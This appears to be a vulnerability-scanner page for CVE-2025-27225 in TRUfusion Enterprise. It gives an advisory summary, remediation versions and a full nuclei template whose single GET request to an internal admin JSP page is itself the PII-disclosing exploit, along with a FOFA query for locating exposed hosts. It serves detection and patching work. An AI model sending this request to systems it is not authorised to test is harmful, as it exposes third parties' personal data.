TRUfusion Enterprise <= 7.10.4.0 - Admin Contact Portal

highseverity

7.5CVSS score

19.8%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

TRUfusion Enterprise versions 7.10.4.0 and earlier contained a vulnerability that allowed unauthenticated access to the Internal Admin Contact Page, resulting in the disclosure of PII (including partner and contact names).

Impact

Unauthenticated attackers can access the Internal Admin Contact Page, exposing personally identifiable information including partner and contact names without any authorization.

Fix

Upgrade TRUfusion Enterprise to a secure version by updating to one of the following releases: 7.10.3.1, 7.10.1.1, 7.10.1.0, 7.10.3.0, 7.9.6.1, 7.9.6.0, 7.9.5.0, 7.9.4.0, 7.9.3.1, 7.9.3.0, 7.9.2.1, 7.10.2.0, or 7.10.0.1.

How to confirm it

Send: GET {{BaseURL}}/trufusionPortal/jsp/internal_admin_contact_login.jsp
Positive when: contains_all(body, "Partner : ", "page.logout()", "trufusionPortal") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-27225 -u <target>

The full check

id: CVE-2025-27225

info:
  name: TRUfusion Enterprise <= 7.10.4.0 - Admin Contact Portal
  author: DhiyaneshDK,rcesecurity
  severity: high
  description: |
    TRUfusion Enterprise versions 7.10.4.0 and earlier contained a vulnerability that allowed unauthenticated access to the Internal Admin Contact Page, resulting in the disclosure of PII (including partner and contact names).
  impact: |
    Unauthenticated attackers can access the Internal Admin Contact Page, exposing personally identifiable information including partner and contact names without any authorization.
  remediation: |
    Upgrade TRUfusion Enterprise to a secure version by updating to one of the following releases: 7.10.3.1, 7.10.1.1, 7.10.1.0, 7.10.3.0, 7.9.6.1, 7.9.6.0, 7.9.5.0, 7.9.4.0, 7.9.3.1, 7.9.3.0, 7.9.2.1, 7.10.2.0, or 7.10.0.1.
  reference:
    - https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2025-27225.txt
    - https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/
    - https://docs.rocketsoftware.com/bundle/trufusion_rn_71031/page/kwg1743156415157.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-27225
    epss-score: 0.19793
    epss-percentile: 0.97431
    cwe-id: CWE-288
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="TRUfusion"
  tags: cve,cve2025,trufusion,auth-bypass,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/trufusionPortal/jsp/internal_admin_contact_login.jsp"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Partner : ", "page.logout()", "trufusionPortal")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from